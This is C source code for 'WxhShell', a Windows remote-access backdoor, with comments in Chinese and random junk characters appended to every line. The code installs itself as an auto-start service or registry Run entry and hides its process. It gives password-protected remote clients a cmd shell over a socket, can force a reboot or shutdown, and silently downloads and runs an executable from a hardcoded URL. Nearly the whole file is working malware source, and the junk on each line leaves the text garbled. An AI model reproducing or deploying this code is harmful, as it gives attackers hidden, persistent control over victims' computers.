    if(Boot(SHUTDOWN)) Shss};QZf(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A>)W6|m|  
    else { M{=p0?X  
    closesocket(wsh); eMP0BS"  
    ExitThread(0); R#ya9GN{  
    } :Z6l)R+V  
    break; kZcGe*  
    } awLSY:JI  
  // 获取shell !$Arc^7r  
  case 's': { }To-c'  
    CmdShell(wsh); _1jeaV9@  
    closesocket(wsh); dAaxbP|  
    ExitThread(0); )$O'L7In&  
    break; JK'tdvs~  
  } "&\]1A}Z-x  
  // 退出 xoQqku"vn  
  case 'x': { (cp$poo  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3B4C@ {  
    CloseIt(wsh); b\xse2#  
    break; WmblY2  
    } ?~;q r  
  // 离开 \~T&C5  
  case 'q': { G%%5lw!y'  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  >6'brb  
    closesocket(wsh); f=>ii v  
    WSACleanup(); V)mi1H|m  
    exit(1); T 0?9F2  
    break; (V`ddP-  
        } -)e(Qt#ewl  
  } %,udZyO3uR  
  } }jL4F$wC  
ItG|{Bo  
  // 提示信息 n&E/{o(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eM^Y  
} ,(kaC.Em  
  } J^mm"2  
oho~?.F  
  return; WAVEwA`r  
} ?'OL2 ~  
ro^T L  
// shell模块句柄 a*o k*r  
int CmdShell(SOCKET sock) 3e|,Z'4}4  
{ {InW%qSn_  
STARTUPINFO si; @Z@S;RWSU  
ZeroMemory(&si,sizeof(si)); #/WjKr n  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; V&d?4i4/Q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; eS2VLVxu  
PROCESS_INFORMATION ProcessInfo; @SAJ*h fb0  
char cmdline[]="cmd"; JL?|NV-  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]iaQD _'\  
  return 0; -n6T^vf  
} `^DP<&{  
bE"J&;|  
// 自身启动模式 5pq9x4&  
int StartFromService(void) ?WrL<?r)}U  
{ inyS4tb  
typedef struct ?MJ5GVeH  
{ w)Y}hlcq  
  DWORD ExitStatus; >soSOJ[   
  DWORD PebBaseAddress; XQj+]-m  
  DWORD AffinityMask; wKy4Ic+RV  
  DWORD BasePriority; H&0S  
  ULONG UniqueProcessId; w M#q [m;  
  ULONG InheritedFromUniqueProcessId; a0cW=0l=  
}   PROCESS_BASIC_INFORMATION; iBqIV  
/ gE9 W  
PROCNTQSIP NtQueryInformationProcess; `e+eL*rZ~  
9`DY6qfly  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [Ny'vAHOj  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; pEiq;2{~Yn  
+fq;o8q  
  HANDLE             hProcess; Y67i\U>?  
  PROCESS_BASIC_INFORMATION pbi; %* @hS`  
p;{w0uld"  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6X$iTJ[\x  
  if(NULL == hInst ) return 0; fU4{4M+9"  
'59l.  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); liVDBbS_A?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); l78 :.  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); A Zv| |8p  
"C9.pdP\8  
  if (!NtQueryInformationProcess) return 0; "'6R|<u=:  
2$oGy  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); CIf""gL9  
  if(!hProcess) return 0; Xd 9<`gu  
W7 9.,#  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Bqb3[^;~  
M,N(be-  
  CloseHandle(hProcess); uszMzO~  
)"y]_}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); A;Uw b  
if(hProcess==NULL) return 0; Py#iC#g~  
IV$2`)[A&X  
HMODULE hMod; axd9b,  
char procName[255]; ]\:l><  
unsigned long cbNeeded; PX,fg5s\b  
"yxBD 7  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); e irRAU  
o`[X _  
  CloseHandle(hProcess); ?a-}1A{  
XBHv V05mv  
if(strstr(procName,"services")) return 1; // 以服务启动 Uc|MfxsL  
7=]Y7 "XCf  
  return 0; // 注册表启动 +@K8:}lOW  
} Z!qF0UDj  
P+;@?ofB  
// 主模块 =v/x&,Uj@6  
int StartWxhshell(LPSTR lpCmdLine) M.}QXta  
{ m{sch`bP  
  SOCKET wsl; =_H)5I_\  
BOOL val=TRUE; .#ATI<t  
  int port=0; .t9zF-jk  
  struct sockaddr_in door; n!y}p q6  
9i#K{CkC|  
  if(wscfg.ws_autoins) Install(); -X#qW"92q  
lpeo^Y}N  
port=atoi(lpCmdLine); >.#tNFAs  
'P~6_BW  
if(port<=0) port=wscfg.ws_port; (Zu V5|N  
` G.:G/b%H  
  WSADATA data; <2R xyoDL6  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; AkR ZUj\  
_k.gVm  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   60Obek`  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); YiPp#0T[Gx  
  door.sin_family = AF_INET; +)K yG  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); {v}jV{'^um  
  door.sin_port = htons(port); EAjo>GLI  
BXo9s~5Q  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { q9"~sCH  
closesocket(wsl); Fgg4QF  
return 1; _d/ZaCx'i  
} ,@*`2I>`  
quw:4W>  
  if(listen(wsl,2) == INVALID_SOCKET) { oM#S.f?  
closesocket(wsl); ^7~w yAr  
return 1; .:#6dG\0z  
} YJ^TO\4WM  
  Wxhshell(wsl); @Ao E>  
  WSACleanup(); jj 9eFB  
"t" &6\  
return 0; >zAI#N4  
Vl+,OBy  
} cZXra(AD  
!4G<&hvb  
// 以NT服务方式启动 H=k*;'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) v;@-bED(Qs  
{ `+0)dTA(g$  
DWORD   status = 0; yLlAK,5P0o  
  DWORD   specificError = 0xfffffff; +,$"%C  
mg^\"GC*8  
  serviceStatus.dwServiceType     = SERVICE_WIN32; #`H^8/!e  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; wh;E\^',n  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; in6iJ*E@'  
  serviceStatus.dwWin32ExitCode     = 0; L)ry!BuHI  
  serviceStatus.dwServiceSpecificExitCode = 0; >zDnJb&"&  
  serviceStatus.dwCheckPoint       = 0; tY=n("=2  
  serviceStatus.dwWaitHint       = 0; SbW6O_   
ba   
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); O(E-ox~q  
  if (hServiceStatusHandle==0) return; sIJ37;ZA  
;"/ "  
status = GetLastError(); 8W_X&X?Q  
  if (status!=NO_ERROR) |!{ BjOAD'  
{ I"=XM   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; /aB9pD+%  
    serviceStatus.dwCheckPoint       = 0; M^^u{);q  
    serviceStatus.dwWaitHint       = 0; lEC58`Ws  
    serviceStatus.dwWin32ExitCode     = status; P&Q 5ZQb  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3It'!R8$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4n@, p0   
    return; [Pt5c6L:  
  } V-w[\u  
ynN[N(m#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; G{ $Zg  
  serviceStatus.dwCheckPoint       = 0; %R{clbbbn  
  serviceStatus.dwWaitHint       = 0; -h8!O+7 .  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }?Y+GT"E  
} }f6x>  
1v&!`^G99j  
// 处理NT服务事件,比如:启动、停止 ? I}T[j  
VOID WINAPI NTServiceHandler(DWORD fdwControl) z {J1pH_X  
{ a;Y9wn  
switch(fdwControl) (Rk g  
{ w`Dzk. 2  
case SERVICE_CONTROL_STOP: EF{_-FXY  
  serviceStatus.dwWin32ExitCode = 0; -3r&O:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !lF|90=  
  serviceStatus.dwCheckPoint   = 0; 6X:- Z 3  
  serviceStatus.dwWaitHint     = 0; #| 8!0]n'  
  { Sk$ XC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); dR_hPBn/@  
  } w`VmN}pR  
  return; AsM""x1Ix  
case SERVICE_CONTROL_PAUSE: hGF(E*  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; viBf" .  
  break; 2Xgw7` !L  
case SERVICE_CONTROL_CONTINUE: D] 2+<;>`>  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 0nz k?iP  
  break; 8L 9;VY^Y  
case SERVICE_CONTROL_INTERROGATE: .{-8gAh  
  break; UgJ^NF2w  
}; 1p&?MxLN-a  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <96ih$5D1  
} l(zkMR$b8  
hk&p+NV!  
// 标准应用程序主函数 6|LDb"Rvy  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) zq]V6.]J  
{ b\?#O}  
3<msiC P  
// 获取操作系统版本 {R,rc!yF  
OsIsNt=GetOsVer(); %2oLND}?z  
GetModuleFileName(NULL,ExeFile,MAX_PATH); h{ce+~X  
vVLR9"rHM  
  // 从命令行安装 mI in'M  
  if(strpbrk(lpCmdLine,"iI")) Install(); s$:]$&5  
4aB`wA^x  
  // 下载执行文件 Y@u{73H  
if(wscfg.ws_downexe) { hv .Mf.m  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $Y aL3n  
  WinExec(wscfg.ws_filenam,SW_HIDE); 4Df TVO"h  
} &H5 6mL{  
VkhK2  
if(!OsIsNt) { 3g|O2>*?  
// 如果时win9x,隐藏进程并且设置为注册表启动 ,l7ty#j  
HideProc(); 6aQ{EO-]'=  
StartWxhshell(lpCmdLine); jO:<"l^+u  
} }+#ag:M  
else qm]ljut  
  if(StartFromService()) #>ci!4Gz=Z  
  // 以服务方式启动 7qXgHrr0|U  
  StartServiceCtrlDispatcher(DispatchTable); &"C1XM  
else W.:k E|a.g  
  // 普通方式启动 %v~j10e  
  StartWxhshell(lpCmdLine); 7X}_yMxc  
.#WF'  
return 0; on&N=TN  
} 2#W%--  
)vGRfFjw_  
GJy,)EO6{  
b<.+WkO  
=========================================== 'Dk(jpYB  
!b _<_Y{l  
s[s6E`Q  
zLXtj-  
a/)TJv  
u{p\8v%7  
" Bdbw!zRR$  
JBUJc  
#include <stdio.h> " 31C8  
#include <string.h> 9CBB,  
#include <windows.h> V (!b!i@  
#include <winsock2.h> _9 Gy`  
#include <winsvc.h> R#\8jvv  
#include <urlmon.h> n{' [[2U  
2,QkktJLo  
#pragma comment (lib, "Ws2_32.lib") qs-:JmA_w  
#pragma comment (lib, "urlmon.lib") \HK#d1>ox  
:f/ p5 c  
#define MAX_USER   100 // 最大客户端连接数 ^ACp_RM  
#define BUF_SOCK   200 // sock buffer 'pm2C6AC  
#define KEY_BUFF   255 // 输入 buffer (vj2XiO^+  
zLh ~x  
#define REBOOT     0   // 重启 rX{|]M":T  
#define SHUTDOWN   1   // 关机 =h_4TpDQ  
\v-> '  
#define DEF_PORT   5000 // 监听端口 zRE7 w:  
>MP PYVn7  
#define REG_LEN     16   // 注册表键长度 O &w$  
#define SVC_LEN     80   // NT服务名长度 $yFur[97C  
MzG(+B  
// 从dll定义API :Dr& {3>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); HZK0Ldf  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]-PF?8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); h0^V!.- 5  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); caj)  
nW drVT$  
// wxhshell配置信息 \GvVs  
struct WSCFG { BgpJ;D+N4  
  int ws_port;         // 监听端口 giu~"#0/F  
  char ws_passstr[REG_LEN]; // 口令 U.^)|IHW  
  int ws_autoins;       // 安装标记, 1=yes 0=no dU&.gFw1  
  char ws_regname[REG_LEN]; // 注册表键名 >$Fc=~;Ba  
  char ws_svcname[REG_LEN]; // 服务名 mML^kgy\N  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 U<6k!Y9ny  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 dl":?D4H  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 'g=yJ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no RD_;us@&&*  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 'Yd%Tb|*  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Q^p@ 1I  
+tV(8h4  
}; UxS;m4  
o"]eAQ  
// default Wxhshell configuration $&e(V6A@  
struct WSCFG wscfg={DEF_PORT, xY~ DMcO?  
    "xuhuanlingzhe", BO9Z "|"  
    1, Zi[)(agAT  
    "Wxhshell", _ma4  
    "Wxhshell", Y?5yzD:  
            "WxhShell Service", VUnEI oKM  
    "Wrsky Windows CmdShell Service", e:,.-Kvzp`  
    "Please Input Your Password: ", x1}q!)e  
  1, q;>BltU  
  "http://www.wrsky.com/wxhshell.exe", Q[b({Vj;tG  
  "Wxhshell.exe" h3)KT+7.  
    }; x!$,Hcph,  
D1j 7iv  
// 消息定义模块 !}3`Pl.(r  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; pJv?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; C`jP8"-  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; E%;'3Qykva  
char *msg_ws_ext="\n\rExit."; &iGl)dDr  
char *msg_ws_end="\n\rQuit."; W?l .QQk  
char *msg_ws_boot="\n\rReboot..."; yCkm|  
char *msg_ws_poff="\n\rShutdown..."; b?bYPN+  
char *msg_ws_down="\n\rSave to "; zgRP!q<9tt  
I?Zs|A  
char *msg_ws_err="\n\rErr!"; ^6 LFho4  
char *msg_ws_ok="\n\rOK!"; n5JB'F)  
-E500F*b  
char ExeFile[MAX_PATH]; ,m"ztu-  
int nUser = 0; I+CQ,Zuf  
HANDLE handles[MAX_USER]; XeB>V.<y  
int OsIsNt; n47=eKd70  
v]BQIE?R /  
SERVICE_STATUS       serviceStatus; JyqFFZ&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; jo|q,t  
aW6+Up+G*  
// 函数声明 b #^aM  
int Install(void); Zn/9BO5  
int Uninstall(void); Qr<%rU^{.  
int DownloadFile(char *sURL, SOCKET wsh); n% ` r  
int Boot(int flag); $HXB !$d  
void HideProc(void); ATzNV=2s  
int GetOsVer(void); ZKR z=(  
int Wxhshell(SOCKET wsl); (k5DbP[  
void TalkWithClient(void *cs); wr$}AX  
int CmdShell(SOCKET sock);  g_>ZE  
int StartFromService(void); -oZ a c  
int StartWxhshell(LPSTR lpCmdLine); `;_tt_  
t@u\ 4bv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); KJ)nGoP>  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); `HM3YC  
{.lF~cOu  
// 数据结构和表定义  ft'iv  
SERVICE_TABLE_ENTRY DispatchTable[] = ,SyUr/D  
{ !U#++Zig%  
{wscfg.ws_svcname, NTServiceMain}, x7@WWFF>  
{NULL, NULL} r~}}o o4K  
}; ) *A,L%  
'<0q"juXE  
// 自我安装  q%k+x)  
int Install(void) )a^Yor)o"  
{ uTU4Fn\$L  
  char svExeFile[MAX_PATH]; @*DIB+K  
  HKEY key; p-pw*wH0  
  strcpy(svExeFile,ExeFile); -/-6Td1JY>  
// }8HY)>  
// 如果是win9x系统,修改注册表设为自启动 4v|/+J6G  
if(!OsIsNt) { :xw3b)KS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0v@/I<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); AIm$in`P  
  RegCloseKey(key); jOb[h=B"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nP3GI:mjL  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |wJZU  
  RegCloseKey(key); YF -w=Y6  
  return 0; HLe^|  
    } X?6h>%) k  
  } VU/W~gb4"A  
} eCp|QSXE  
else { >$mSF Jz5S  
$&8h=e~]-  
// 如果是NT以上系统,安装为系统服务 GVEWd/:X(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); u!uDu,y  
if (schSCManager!=0) .UrYF 0  
{ gx*rSS?=N  
  SC_HANDLE schService = CreateService <!9fJFE  
  ( \ZFQ?e,d  
  schSCManager, ?nZ <?  
  wscfg.ws_svcname, z}1xy+  
  wscfg.ws_svcdisp, }o^A^  
  SERVICE_ALL_ACCESS, g&4~nEp  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , z/KZ[qH\  
  SERVICE_AUTO_START, j#e.rNG  
  SERVICE_ERROR_NORMAL, #eC;3Kq#-  
  svExeFile, ;:c%l.Y2  
  NULL, B Z?W>'B%$  
  NULL, aEDN]O95?  
  NULL, zcB 2[eaV  
  NULL, b.4Xn0-M  
  NULL \5P.C  
  ); qu ~|d}0  
  if (schService!=0) Fd[h9 G  
  { xD  
  CloseServiceHandle(schService); nuQ6X5>.=  
  CloseServiceHandle(schSCManager); d=Do@) m|  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); u`pROd/ R5  
  strcat(svExeFile,wscfg.ws_svcname); 8A:^K:Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { %%~}Lw  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4$aO;Z_  
  RegCloseKey(key); z@~&Kwf\}  
  return 0; >C3NtGvy  
    } atf%7}2  
  } WkaR{{nM  
  CloseServiceHandle(schSCManager); }6J7 <g  
} <s8? Z1  
} 5Vi]~dZu7  
fhV0S>*<  
return 1; z8[H:W#G  
} <{/;1Dru  
ch>Vv"G>  
// 自我卸载 +SQjX7] %  
int Uninstall(void) kV ,G,wo  
{ h1XMx'}B  
  HKEY key; (.1 rtj  
Q)S>VDLA  
if(!OsIsNt) { `xUG|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3%R{"Q"  
  RegDeleteValue(key,wscfg.ws_regname); +%wWSZ<#  
  RegCloseKey(key); lKEX"KQ!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~pevU`}Uqc  
  RegDeleteValue(key,wscfg.ws_regname); ^5]u BOv  
  RegCloseKey(key); gKN}Of@^1  
  return 0; L"foL  
  } C4{\@v}t  
} ISS\uj63M  
} s8_aL)@f  
else { :Sc8PLT  
%)axGbZG;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); OB6J.dF[%  
if (schSCManager!=0) G*\abL  
{ ZCQ< %f  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 90s;/y(  
  if (schService!=0) T|@#w%c''  
  { %5h^`lp  
  if(DeleteService(schService)!=0) { #+" 4&:my  
  CloseServiceHandle(schService); q[G/}  
  CloseServiceHandle(schSCManager); YZGS-+  
  return 0; ejklpa ./  
  } j u*fyt  
  CloseServiceHandle(schService); SFn 3$ rh  
  } 8?7kIin  
  CloseServiceHandle(schSCManager); 3Q"F(uE v^  
} .G}k/`a  
} w< 65S  
PW%1xHLfk  
return 1; b,sGq  
} wmo{YS3t|  
yGvDn' m  
// 从指定url下载文件 Dz`k[mI  
int DownloadFile(char *sURL, SOCKET wsh) q_T] 9d  
{ k&) K(  
  HRESULT hr; CV&zi6  
char seps[]= "/"; 8/3u/  
char *token; dL_QX,X-]  
char *file; [?chK^8  
char myURL[MAX_PATH]; =4tO0  
char myFILE[MAX_PATH]; c^=R8y-N  
EZ"bW  
strcpy(myURL,sURL); +z-[s6q2m  
  token=strtok(myURL,seps); MZ|\S/  
  while(token!=NULL) Yb[n{.%/g  
  { AkrTfi4hC  
    file=token; ZXsYn  
  token=strtok(NULL,seps); QsF4Dl   
  } X>8-` p  
M$Fth*q{GD  
GetCurrentDirectory(MAX_PATH,myFILE); MO[kr2T  
strcat(myFILE, "\\"); N = LM?(H  
strcat(myFILE, file); ] @X{dc  
  send(wsh,myFILE,strlen(myFILE),0); 47IY|Jdz  
send(wsh,"...",3,0); r6`\d k  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); m0A#6=<  
  if(hr==S_OK) i&`!|X-=R  
return 0; fVe@YqNa  
else I%@e@Dm,h  
return 1; nr OqH  
k(P3LJcYQ  
} -bypuMQ-p  
*URdd,){i  
// 系统电源模块 vwKw?Z0%J  
int Boot(int flag) iTh xVD  
{ H]s4% 9T  
  HANDLE hToken; W h| L  
  TOKEN_PRIVILEGES tkp; 7*i }km  
S%kS#U${|  
  if(OsIsNt) { McjS)4j&.  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,"Tjpdf  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); y%4 Gp  
    tkp.PrivilegeCount = 1; P5xI  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; q IM  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Dl%?OG<  
if(flag==REBOOT) { 9x=3W?K:,  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) S'o ]=&  
  return 0; .Y1bY: =  
} 2FGx _ Y  
else { $uCiXDKCq  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) c45tmul  
  return 0; sAi&A9"*   
} `(!NYx  
  } 6lsL^]7  
  else { *>k!hq;j  
if(flag==REBOOT) { $A`xhh[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !.EcP=S  
  return 0; )1f+ld%R  
} o/cr{>"N  
else { pI>*u ]x  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "u;YI=+  
  return 0; vM`7s[oAK  
} JSgpb ?(  
} =}v ;1m  
h* s`^W3  
return 1; @EHIp{0.  
} SK+@HnKd  
IIxJqGN:  
// win9x进程隐藏模块 ExCM<$,  
void HideProc(void) WL l_'2h  
{ T~X41d\  
q#N R32byF  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); aG! *WHt  
  if ( hKernel != NULL ) Ky kSFB  
  { xc;DdK=1X  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); M)JADX  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +I5 2EXo  
    FreeLibrary(hKernel); Vl<9=f7[  
  } rjUBLY1(  
V^n0GJNo  
return; JrDHRIkgm  
} B3mS]  
\D?:J3H*]  
// 获取操作系统版本 LkBZlh_  
int GetOsVer(void) #~k[6YR 0  
{ \iru7'S  
  OSVERSIONINFO winfo; /^:2<y8Ha  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Q[PK`*2)  
  GetVersionEx(&winfo); -[DWM2C$K4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @2 =z}S3O  
  return 1; \9)#l#m  
  else 9#k0_vDoW  
  return 0; p@ygne 4  
} r`6:Q&&  
5& !'^!  
// 客户端句柄模块 8o|P&q(v*  
int Wxhshell(SOCKET wsl) ,Ff n)+  
{ gn ?YF`  
  SOCKET wsh; J} TfRrf  
  struct sockaddr_in client; y+U83a[L*  
  DWORD myID; q[ d)e6  
y-9+a7j  
  while(nUser<MAX_USER) PKf:O  
{ exDkq0u]  
  int nSize=sizeof(client); qu~X.pW  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 81F,Y)x.  
  if(wsh==INVALID_SOCKET) return 1; l Y'N4x7n  
rk|@B{CA;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Zx{96G+1  
if(handles[nUser]==0) y=aV=qD  
  closesocket(wsh); K2rzhHfb  
else T8XY fcc*h  
  nUser++; >72JV; W]  
  } g97]Y1g  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); dE5D3ze  
xA h xD|4_  
  return 0; pQWHG#?7  
} #NNewzC<*  
NfzF.{nh  
// 关闭 socket =o^|bih  
void CloseIt(SOCKET wsh) WeMAe w/d  
{ R7?29?$7  
closesocket(wsh); |`O7nOM  
nUser--; M#,Q ^rH#  
ExitThread(0); Z4hLdHo_  
} vl:J40Kfn  
s8<gK.atl  
// 客户端请求句柄 ,^$ |R32  
void TalkWithClient(void *cs) ,gx)w^WTm  
{ 3[IJhR[  
9}P"^N  
  SOCKET wsh=(SOCKET)cs; Gy"%R-j7  
  char pwd[SVC_LEN]; U \oy8FZ  
  char cmd[KEY_BUFF]; kV&9`c+  
char chr[1]; aeP[+I9  
int i,j; cpZc9;@IC  
S%mfs!E>  
  while (nUser < MAX_USER) { Ug%_@t/?  
jQh^WmN  
if(wscfg.ws_passstr) { {Wv% zA*8  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >v+jh(^  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y`GOER  
  //ZeroMemory(pwd,KEY_BUFF); d=3'?l`  
      i=0; _yH`t[  
  while(i<SVC_LEN) { }-DE`c  
izZ=d5+K  
  // 设置超时 06 mlj6hV  
  fd_set FdRead; 4Ysb5m)u  
  struct timeval TimeOut; 3x@<Z68S  
  FD_ZERO(&FdRead); )9v`f9X){  
  FD_SET(wsh,&FdRead); `BY&>WY[  
  TimeOut.tv_sec=8; uQqWew8l+  
  TimeOut.tv_usec=0; Pbu{'y3J  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); v?:: |{  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); kH948<fk3  
9X}I>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G"dS+,Q  
  pwd=chr[0]; J CGC  
  if(chr[0]==0xd || chr[0]==0xa) { BiwieF4x  
  pwd=0; !mJo'K  
  break; X/0v'N  
  } qu|i;WZE  
  i++; ,h]o>  
    } 'UU\4M  
e}yX_Z'P<  
  // 如果是非法用户,关闭 socket Vw{*P2v)  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); g);^NAA  
} hJ;$A*Y  
B 0ee?VC  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Wp0 Dq(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }8K4-[\  
TbvtqM 0  
while(1) { b=;nm#cAI  
9~\kF5Q"  
  ZeroMemory(cmd,KEY_BUFF); ^K(^I*q  
4Xj4|Rw%  
      // 自动支持客户端 telnet标准   GW^,g@%C  
  j=0; Orn0Zpp<z  
  while(j<KEY_BUFF) { ]T:;Vo  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f9u^R=Ff[  
  cmd[j]=chr[0]; hT g<*  
  if(chr[0]==0xa || chr[0]==0xd) { `# P$ ]:  
  cmd[j]=0; S>Yj@L  
  break; S$q =;"  
  } 'tgKe!-@  
  j++; R`8@@ }  
    } Guw}=l--YR  
)cJ#-M2  
  // 下载文件 }_'IE1bA  
  if(strstr(cmd,"http://")) { W_|0y4QOo  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0% L l  
  if(DownloadFile(cmd,wsh)) fxcc<h4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); yay<GP?  
  else YZf6|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 13k !'P  
  } "/Pjjb:2  
  else { M~e0lg8  
DOS0;^f  
    switch(cmd[0]) { 0|4%4 Mt  
  ||7x;2e  
  // 帮助 LW6ZAETyL  
  case '?': { y9H% Xl  
